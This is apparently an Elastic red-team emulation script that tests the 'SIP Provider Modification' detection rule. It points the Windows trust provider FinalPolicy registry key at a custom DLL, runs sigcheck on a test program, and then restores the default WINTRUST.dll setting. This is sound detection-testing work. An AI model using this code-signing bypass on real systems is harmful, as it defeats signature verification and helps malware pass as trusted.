eric-forte-elastic
63 lines
2.0 KiB
Python
63 lines
2.0 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Trust Provider Modification
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# RTA: trust_provider.py
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# ATT&CK: T1116
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# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass.
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from . import common
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from . import RtaMetadata
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metadata = RtaMetadata(
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uuid="45541eb5-c636-477b-81c9-b6dcf184c9cc",
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platforms=["windows"],
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endpoint=[],
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siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}],
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techniques=["T1553"],
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)
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FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501
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def set_final_policy(dll_path, function_name):
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winreg = common.get_winreg()
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hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY)
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common.log("Setting dll path: %s" % dll_path)
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winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path)
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common.log("Setting function name: %s" % function_name)
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winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name)
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if common.is_64bit():
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SIGCHECK = common.get_path("bin", "sigcheck64.exe")
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TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
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else:
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SIGCHECK = common.get_path("bin", "sigcheck32.exe")
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TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
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TARGET_APP = common.get_path("bin", "myapp.exe")
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@common.requires_os(*metadata.platforms)
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@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
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def main():
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common.log("Trust Provider")
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set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy")
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common.log("Launching sigcheck")
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common.execute([SIGCHECK, "-accepteula", TARGET_APP])
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common.log("Cleaning up")
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set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
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if __name__ == "__main__":
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exit(main())
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